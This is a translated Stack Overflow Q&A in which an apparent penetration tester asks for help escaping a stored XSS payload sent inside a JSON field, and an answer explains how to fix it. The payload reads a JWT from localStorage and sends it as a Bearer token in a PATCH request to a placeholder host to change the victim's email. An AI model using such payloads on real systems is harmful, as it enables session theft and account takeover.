我正在对一个web应用程序进行审计,以发现客户端的漏洞。我发现了一些xss,但我想升级到更多,但我面临的问题是数据是在json中发送的。现在,当我在它内部引入xmlhttp请求时,它需要双引号来发送其POST数据。这就是转义这些引号的问题所在。
我试着用两个反斜杠转义它,但请求失败了。但是,当我在有效负载中使用一个反斜杠发送请求时,请求成功了,但javascript执行失败了
所以基本上问题是数据是这样发送的:
POST {"x":"y","html":"javascript code"}
我的xss负载是这样的:
POST
DATA
{"x":"y","html":"<svg onload=\"var token=localStorage.getItem('murally.jwt');
alert(token);
var xhr=new XMLHttpRequest();xhr.open('PATCH','https://x.com',true);
xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');
xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body='{\"email\":\"xxx@xxx.com\"}';
xhr.send(JSON.stringify(body));
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status
== 200) { alert(xhr.responseText) }};\"/>"}
现在,我从两个方面陷入困境:
1)当我在请求中发送与上面相同的代码时,数据存储在服务器端,但当我加载存储数据的页面时,控制台中出现错误,SyntaxError:'‘字符串文字包含未转义的换行符,因此我的有效负载无法工作并失败。
2)在互联网上搜索后,我找到了上面的解决方案,我需要对post数据的引号进行双转义,以便浏览器正确解析它,但当我再次发送带有双反斜杠的请求时,出现了另一个问题,即请求失败并出现错误{" error ":"INVALID_PAYLOAD","message":"Malformed“}
所以现在我必须以某种方式发出请求,绕过这两个错误才能正常工作,对此没有解决方案。我在开发方面不是很多,所以如果有任何帮助,我将非常感谢。我想向我的客户展示xss的高影响力,即xss如何导致帐户接管。如果有一种方法可以通过适当的转义来缓解这两个问题,请帮助我。如果您需要更多信息,请随时询问。
谢谢。
发布于 2019-05-24 13:30:02
你的负载中有两个问题:
html
字段的值,不应引入换行符--这将导致“未转义换行符”错误。您可以删除所有换行符并将html
字符串存储为一行紧凑文本。html
JavaScript在有效负载中,它可以是纯JavaScript对象,如var body={email:'xxx@xxx.com'};
--在下一代码行中,它将通过JSON.stringify(body)
转换为JSON字符串,不需要使用双引号。https://stackoverflow.com/questions/56264374
复制相似问题